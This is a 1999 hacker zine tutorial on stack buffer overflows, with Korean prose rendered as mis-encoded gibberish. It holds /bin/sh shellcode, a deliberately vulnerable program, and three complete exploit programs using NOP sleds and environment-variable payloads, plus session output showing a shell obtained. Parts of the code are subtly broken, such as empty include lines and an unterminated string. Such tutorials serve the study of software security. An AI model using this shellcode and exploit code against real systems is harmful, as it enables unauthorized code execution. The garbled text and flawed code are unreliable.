---------------------------------------------------------------------------- _____ _______ / __ \ |___ (_) | / \/ ___ _ __ ___ / / _ _ __ ___ | | / _ \| '__/ _ \ / / | | '_ \ / _ \ | \__/\ (_) | | | __/./ /__| | | | | __/ \____/\___/|_| \___|\_____/_|_| |_|\___| ------[ Corezine volume 01 - Juli 1999 Corezine #01 ================== -----------------------[ BUFFEROVERFLOWS by Lamagra --------------------[ ¼Ò°³ ÀÌ °¡ÀÌµå ¾È¿¡¼­, ´ç½ÅÀº ¹öÆÛ¿À¹öÇ÷ξ ¹«¾ùÀÌ°í, ±×°ÍÀ» ÀͽºÇ÷ÎÀÕÇϱâ À§ÇÑ ¹æ¹ýÀ» ¹è¿ì°Ô µÉ°ÍÀÌ´Ù. C¿Í ASM¿¡ ´ëÇÑ ±âº»ÀûÀÎ Áö½ÄÀÌ ¿ä±¸µÈ´Ù. GDB¸¦ ´Ù·ïº» °æÇèÀº ¸Å¿ì µµ¿òÀÌ µÉ °ÍÀ̳ª ±×°ÍÀÌ ²À ÇÊ¿äÇÏÁö´Â ¾Ê´Ù. ------------[ ¸Þ¸ð¸® ±¸Á¶ ¸Þ¸ð¸®´Â ¾Æ·¡¿Í °°Àº ¼¼°¡Áö ¿µ¿ªÀ¸·Î ³ª´²Á®ÀÖ´Ù. 1. ÅؽºÆ® ¿µ¿ª ÀÌ ¿µ¿ªÀº ÇÁ·Î±×·¥ ¸í·É¾îµéÀÇ ÀúÀåÀ» À§ÇØ »ç¿ëµÈ´Ù. ±× ¶§¹®¿¡, ÀÌ ¿µ¿ªÀº ¿ÀÁ÷ Àб⿵¿ªÀ¸·Î Á¤ÇØÁ®ÀÖ°í, ÀÌ ¿µ¿ª¿¡ ¾²±â¸¦ ½ÃµµÇÏ¸é °ð ¿¡·¯°¡ ¹ß»ýÇÒ °ÍÀÌ´Ù. 2. µ¥ÀÌŸ ¿µ¿ª Static º¯¼ö°¡ ¿©±â¿¡ ÀúÀåµÇ°í ±× Å©±â´Â brk() ½Ã½ºÅÛ ÄÝ¿¡ ÀÇÇؼ­ º¯ÇÒ¼ö ÀÖ°Ô µÈ´Ù. 3. ½ºÅà ½ºÅÃÀº ¸¶Áö¸· Àå¼Ò¿¡¼­ óÀ½À¸·Î Á¦°ÅµÇ´Â Ưº°ÇÑ ¼Ó¼ºÀ» °¡Áø´Ù. ÄÄÇ»ÅÍ °úÇп¡¼­, ÀÌ°ÍÀº last in, first out(LIFO)¶ó°í ºÒ¸®¿î´Ù. ½ºÅÃÀº ÇÔ¼ö¶Ç´Â ÇÁ·Î½ÃÁ®ÀÇ »ç¿ëÀ» À§Çؼ­ µðÀÚÀÎ µÈ´Ù. ÇÁ·Î½ÃÁ®´Â jump¿Í °°Àº, ±×·¯³ª jump°¡ ¾Æ´Ï´õ¶óµµ ±×°ÍÀº ±× ¸í·É¾î°¡ ³¡³ª°í ³­ ÈÄ¿¡ returnÇϱ⿡ ÇÁ·Î±×·¥ÀÇ È帧ÀÌ º¯ÇÑ´Ù. ¸®ÅÏ ¾îµå·¹½º´Â ÀÌ ¸ñÀûÀ» À§ÇØ ½ºÅÃÀÇ Àå¼Ò¿¡ ÀÖ°Ô µÉ °ÍÀÌ´Ù. ÀÌ°ÍÀº ¶ÇÇÑ ÇÔ¼ö¾È¿¡ »ç¿ëµÇ´Â µ¿ÀûÀÎ º¯¼ö ÇÒ´çÀ» À§ÇØ »ç¿ëµÈ´Ù. ±×°ÍÀº ÆĶó¸ÞÅÍÀÌ°í ¸®ÅÏ °ªÀÌ´Ù. ------------[ ¸®ÅÏ ¾îµå·¹½º¿Í IP ÄÄÇ»ÅÍ´Â ¸í·É¾îµé°ú ´ÙÀ½ ¸í·É¾î¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍÀÎ IP(Instruction Pointer) µé·Î½á ¼öÇàµÈ´Ù. ÇÔ¼ö³ª ÇÁ·Î½ÃÁ®°¡ È£ÃâµÉ ¶§, ¿À·¡µÈ IP´Â RET(Return address)·Î½á ½ºÅÿ¡ ÀúÀåµÈ´Ù. RETÀÇ ¼öÇàÀÌ ³¡³­µÚ¿¡´Â IP°¡ ±³Ã¼µÇ°í ÇÁ·Î±×·¥Àº °è¼Ó ÁøÇàµÉ °ÍÀÌ´Ù. ------------[ ¹öÆÛ¿À¹öÇÃ·Î¾î ¹öÆÛ¿À¹öÇ÷ξ »ç¿ëµÇ´Â ¿¹Á¦¸¦ ´«¿©°Ü º¸ÀÚ <++> buffer/example.c void main() { char big_string[100]; char small_string[50]; memset(big_string,0x41,100); /* strcpy(char *to,char *from) */ strcpy(small_string,big_string); } <--> end of example.c ÇÁ·Î±×·¥Àº µÎ ¹®ÀÚ¿­µéÀ» »ý¼ºÇÏ°í, memset()À¸·Î½á big_strings¿¡´Â char 0x41(=A)¸¦ °¡Áö°Ô µÈ´Ù. ±×¸®°í ³ª¼­ small_string ¾È¿¡ big_string¸¦ º¹»ç ÇÑ´Ù. º¸´Â ¹Ù¿Í °°ÀÌ small_string¿¡´Â 100 char¸¦ ÀúÀå½Ãų¼ö ¾øÀ» °ÍÀÌ°í °ð ¹öÆÛ¿À¹öÇ÷ξ »ý±æ °ÍÀÌ´Ù. ¸Þ¸ð¸® ±¸Á¶¸¦ º¸ÀÚ: [ big_string ] [ small_string ] [SFP] [RET] ¹öÆÛ¿À¹öÇÃ·Î¾î µÇ´Â µ¿¾È SFP(Stack Frame Pointer)¿Í RET´Â A·Î½á ´þ¾î¾²¿©Áú°ÍÀÌ´Ù. ÀÌ°ÍÀº RET°¡ 0x41414141(0x41Àº AÀÇ 16Áø¼ö °ªÀÌ´Ù)ÀÌ µÈ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÇÔ¼ö°¡ ¸®Åϵɶ§, IP´Â RET¸¦ ´þ¾î¾¸À¸·Î½á ±³Ã¼ µÉ °ÍÀÌ´Ù. ±×¸®°í ³ª¼­ ÄÄÇ»ÅÍ°¡ 0x41414141¿¡ ÀÖ´Â ¸í·É¾î¸¦ ¼öÇàÇϱâ À§ÇØ ½ÃµµÇÒ °ÍÀÌ´Ù. ÀÌ°ÍÀº ÀÌ ÁÖ¼Ò°¡ ÇÁ·Î¼¼½º °ø°£ÀÇ ¿ÜºÎÀ̱⠶§¹®¿¡ ¼¼±×¸ÕÆ® ħÇØÀÇ °á°ú°¡ µÉ °ÍÀÌ´Ù. --------------------[ ÀÌ¿ë ÀÌÁ¦ ¿ì¸®´Â RET¸¦ ´þ¾î¾¸À¸·Î½á ÇÁ·Î±×·¥ÀÇ È帧À» ¹Ù²Ü ¼ö ÀÖ´Â ¹æ¹ýÀ» ¾Ë°Ô µÇ¾ú´Ù. ¿ì¸®´Â ±×°ÍÀ» ÀͽºÇ÷ÎÀÕ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. A¸¦ ´þ¾î¾²´Â °Í ´ë½Å¿¡, ¿ì¸®´Â ƯÁ¤ÇÑ ÁÖ¼Ò¸¦ ±×°Í¿¡ ´þ¾î¾µ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ------------[ ÀÓÀÇÀÇ ÄÚµå ½ÇÇà Now we need something to point the address to and execute. In most cases we'll just spawn a shell, although this is not the only thing we can do. ÀÌÁ¦ ¿ì¸®´Â ½ÇÇàÇϱâ À§ÇÑ ÁÖ¼Ò Æ÷ÀÎÆ®°¡ ÇÊ¿äÇÏ´Ù. ´ëºÎºÐ °æ¿ì ¿ì¸®´Â ºñ·Ï ÀÌ°ÍÀÌ ¿ì¸®°¡ ÇÒ ¼ö ÀÖ´Â °ÍÀÏ Áö¶óµµ ½©À» ³ÖÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù. Before: FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF B = the buffer E = stack frame pointer R = return address F = other data After: FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF S = shellcode A = address pointing to the shellcode F = other data ½©À» ¸¸µé±â À§ÇÑ C·Î µÈ ÄÚµå´Â ¾Æ·¡¿Í °°´Ù: <++> buffer/shell.c void main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); exit(0); } <--> end of shellcode ¾î¶»°Ô ½©Äڵ尡 »ý¼ºµÇ´ÂÁö¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ¼³¸íÀº ASM¿¡ ´ëÇÑ ¸¹Àº Áö½ÄÀ» ¿ä±¸Çϱ⠶§¹®¿¡ ÇÏÁö ¾Ê°Ú´Ù.(¿ªÀÚ ÁÖ:½©Äڵ常µå´Â ÀÚ¼¼ÇÑ ¹æ¹ýÀº KHDP¿¡¼­ shellcode·Î °Ë»öÇϸé willy´ÔÀÌ ¾²½Å ¹®¼­°¡ ÀÖÀ» °ÍÀÌ´Ù.) ¿©±â¿¡¼­ ÃæºÐÈ÷ ½©Äڵ带 ÀÌ¿ëÇÒ ¼ö Àֱ⠶§¹®¿¡ ±×·± ÀÚ¼¼ÇÑ ¼³¸íÀº ÇÊ¿ä°¡ ¾ø´Â ±æ°í Áö·çÇÑ ÀýÂ÷ÀÌ´Ù. ±×°Í(=shellcode)¸¦ ¸¸µé±â À§ÇÑ ¹æ¹ýÀ» ¹è¿ì±â À§ÇØ ÇÊ¿äÇÑ °ÍÀº ´ÙÀ½°ú °°´Ù: - -static flag¸¦ »ç¿ëÇÏ¿© ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ÇØ¾ß ÇÑ´Ù. - gdb¸¦ ¿­¾î¼­ "disassemble main"À̶ó´Â ¸í·É¾î¸¦ »ç¿ëÇÑ´Ù. - ¸ðµç ÇÊ¿äÇÑ ÄÚµåºÎºÐÀ» °¡Á®¿Â´Ù.(¹®¼­ ¿ÀŸ °°À½: unnecessary°¡ necessary°¡ µÇ¾ß Çϴ°Š°°À½) - ±×°ÍÀ» ASMÀ¸·Î ´Ù½Ã ÀÛ¼ºÇÑ´Ù. - ÄÄÆÄÀÏ ÇѵÚ, gdb·Î½á ±×°ÍÀ» ¿­°í "disassemble main"À̶õ ¸í·É¾î¸¦ »ç¿ëÇÑ´Ù. - ¸í·É¾î ÁÖ¼Ò¿¡ x/bx ¸í·É¾î¸¦ »ç¿ëÇÏ°í hex-code¸¦ °¡Á®¿Â´Ù. XXXXXXXXXXX X WAKE UP X XXXXXXXXXXX ÀÌ·± ½©Äڵ带 ¾òÀ» ¼ö ÀÖÀ» ²¯ÀÌ´Ù. char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; ------------[ ÁÖ¼Ò¸¦ ãÀÚ. ¿ì¸®°¡ ´Ù¸¥ ÇÁ·Î±×·¥ÀÇ ¹öÆÛ¿¡ ¿À¹öÇ÷ξ ½ÃµµÇÒ ¶§, ¹®Á¦´Â ¹öÆÛÀÇ ÁÖ¼Ò¸¦ ã´Â °ÍÀÌ´Ù. ÀÌ ¹®Á¦¿¡ ´ëÇÑ ´äÀº ¸ðµç ÇÁ·Î±×·¥ÀÇ ½ºÅÃÀº °°Àº ÁÖ¼Ò¿¡¼­ ½ÃÀÛÇÑ´Ù. ±×·¡¼­ ½ºÅÃÀÇ ½ÃÀÛ À§Ä¡¸¸ ¾Ë¸é ¿ì¸®´Â ¹öÆÛÀÇ ÁÖ¼Ò¸¦ ÃßÃøÇϱâ À§ÇØ ³ë·ÂÇÒ ¼ö ÀÖ´Ù. ÀÌ ÇÁ·Î±×·¥Àº ¿ì¸®¿¡°Å stack pointer¸¦ ÁØ´Ù: <++> buffer/getsp.c unsigned long get_sp(void){ __asm__("movl %esp, %eax); } void main(){ fprintf(stdout,"0x%x\n",get_sp()); } <--> end of getsp.c ------------[ ¿¹Á¦¸¦ ÀͽºÇ÷ÎÀÕ Çϱâ À§ÇÑ ½Ãµµ. ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕ ÇϱâÀ§ÇØ ½ÃµµÇÑ´Ù: <++> buffer/hole.c void main(int argc,char **argv[]){ char buffer[512]; if (argc > 1) /* otherwise we crash our little program */ strcpy(buffer,argv[1]); } <--> end of hole.c <++> buffer/exploit1.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); } <--> end of exploit1.c ÀÌÁ¦ ¿ì¸®´Â ¿ÀÇÁ¼ÂÀ» ÃßÃøÇϱâ À§ÇÑ ½Ãµµ¸¦ ÇÒ °ÍÀÌ´Ù.(¹öÆÛÁÖ¼Ò=½ºÅÃÆ÷ÀÎÆ®+¿ÀÇÁ¼Â) [bubbles]$ exploit1 600 Using address: 0xbffff6c3 [bubbles]$ ./hole $BUF [bubbles]$ exploit1 600 100 Using address: 0xbffffce6 [bubbles]$ ./hole $BUF segmentation fault etc. etc. ÀÌ °úÁ¤À» º¸¸é ¾Ë°ÚÁö¸¸ ¹öÆÛÀÇ Á¤È®ÇÑ ÁÖ¼Ò¸¦ ÃßÃøÇÏ´Â °ÍÀº °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù. ¿ÀÆÛÇÃ·Î¾î ¹öÆ۾ȿ¡ÀÖ´Â ½©ÄÚµå ¾Õ¿¡ NOP¸¦ ¸Å²ã³ÖÀ½À¸·Î½á ±âȸ´Â Áõ°¡ÇÑ´Ù. ¿ì¸®´Â ¹öÆÛÀÇ Á¤È®ÇÑ ÁÖ¼Ò¸¦ ÃßÃøÇϱâ Èûµé±â ¶§¹®¿¡ ±×°Í(=NOP)À» »ç¿ëÇÑ´Ù. ¸¸ÀÏ NOPstring¾È¿¡ ¸®ÅÏÁÖ¼Ò°¡ µ¤¾îÁø´Ù¸é, ¿ì¸®ÀÇ ÄÚµå´Â ´ÙÀ½À¸·Î ½ÇÇàµÉ °ÍÀÌ´Ù. ¸Þ¸ð¸®´Â ¾Æ·¡¿Í °°ÀÌ º¸¿©Áú °ÍÀÌ´Ù: FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF N = NOP S = shellcode A = address pointing to the shellcode F = other data ¿ì¸®ÀÇ ÀÌÀü ÀͽºÇ÷ÎÀÕÀ» ´Ù½Ã ÀÛ¼ºÇÑ´Ù. <++> buffer/exploit2.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); } <--> end of exploit2.c [bubbles]$ exploit2 600 Using address: 0xbffff6c3 [bubbles]$ ./hole $BUF segmentation fault [bubbles]$ exploit2 600 100 Using address: 0xbffffce6 [bubbles]$ ./hole $BUF #exit [bubbles]$ ¿ì¸®ÀÇ ÀͽºÇ÷ÎÀÕÀ» ´õ °³¼±½ÃÅ°±ë À§ÇØ, ȯ°æº¯¼ö¾È¿¡ ½©Äڵ带 ³õ´Â´Ù. ±× ´ÙÀ½¿¡ ¿ì¸®´Â ÀÌ º¯¼öÀÇ ÁÖ¼Ò·Î ¹öÆÛ¸¦ ¿ÀÆÛÇÃ·Î¿ì ½Ãų¼ö ÀÖ´Ù. ¿ì¸®´Â ȯ°æº¯¼ö¿¡ ½©Äڵ带 ³Ö±âÀ§ÇØ seteuv() callÀ» »ç¿ëÇÔÀ¸·Î½á ¿ì¸®ÀÇ Äڵ带 ¼öÁ¤ÇÑ´Ù. <++> buffer/exploit3.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"BUF=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } end of exploit3.c [bubbles]$ exploit2 600 Using address: 0xbffff5d7 [bubbles]$ ./hole $RET #exit [bubbles]$ --------------------[ ¹öÆÛ¿À¹öÇ÷ξ ã¾Æ¶ó. ¿©±â¼± ½ÇÁ¦·Î ¼Ò½º¸¦ ÀÐÀ½À¸·Î½á ¹öÆÛ¿À¹öÇ÷ξ ã´Â ¹æ¹ý ÇÑ°¡Áö¸¸ ¸»ÇÏ¿´´Ù. ¸®´ª½º°¡ ¿ÀÇ ¼Ò½º ½Ã½ºÅÛÀ̱⠶§¹®¿¡, ÇÁ·Î±×·¥ÀÇ ¼Ò½º¸¦ ¾ò±â´Â ½¬¿ï °ÍÀÌ´Ù. ¿ÀÇ ¼Ò½º°¡ ¿À·¡ Áö¼ÓµÇ±æ. boundary checking(¿ªÀÚÁÖ:¹öÆÛ°¡ ³ÑÄ¡´Â°É üũÇÏÁö ¾Ê´Â) ¸¦ ÇÏÁö ¾Ê´Â ¶óÀ̺귯¸® ÇÔ¼öµé: strcpy(), strcat(), sprintf(), vsprintf(), scanf(). ´Ù¸¥ À§Ç輺À» °¡Áö°í Àִ°͵é: getc() and getchar() put in a while loop. misuse of strncat. --------------------[ ´Ù¸¥ ÂüÁ¶¹®¼­ Smashing the stack for fun and profit by aleph1 bufferoverflows by mudge --------------------[ ¸¶Ä§ ÀÌ°ÍÀ» ³¡¸¶Ä¡°í ³ª¼­, ³ª´Â ´ç½ÅµéÀÌ ÀÌ °¡À̵带 Àаí Áñ±â¸ç ¾î¶² °É ¹è¿ì±æ Èñ¸ÁÇÑ´Ù. ³ª´Â ±×°ÍÀ» ¾²´Â°Ô Áñ°Å¿ü´Ù. ¸¸ÀÏ ¾ÕÀ¸·Î ¾î¶² Áú¹®À̳ª, ÀÇ°ßÀÌ ÀÖÀ¸¸é IRC(irc.box5.net)¿¡ ÀÖ´Â ¾î¶² ä³Î¿¡¼­ ³ª¸¦ ã¾Æ¶ó. --------------------[ EOF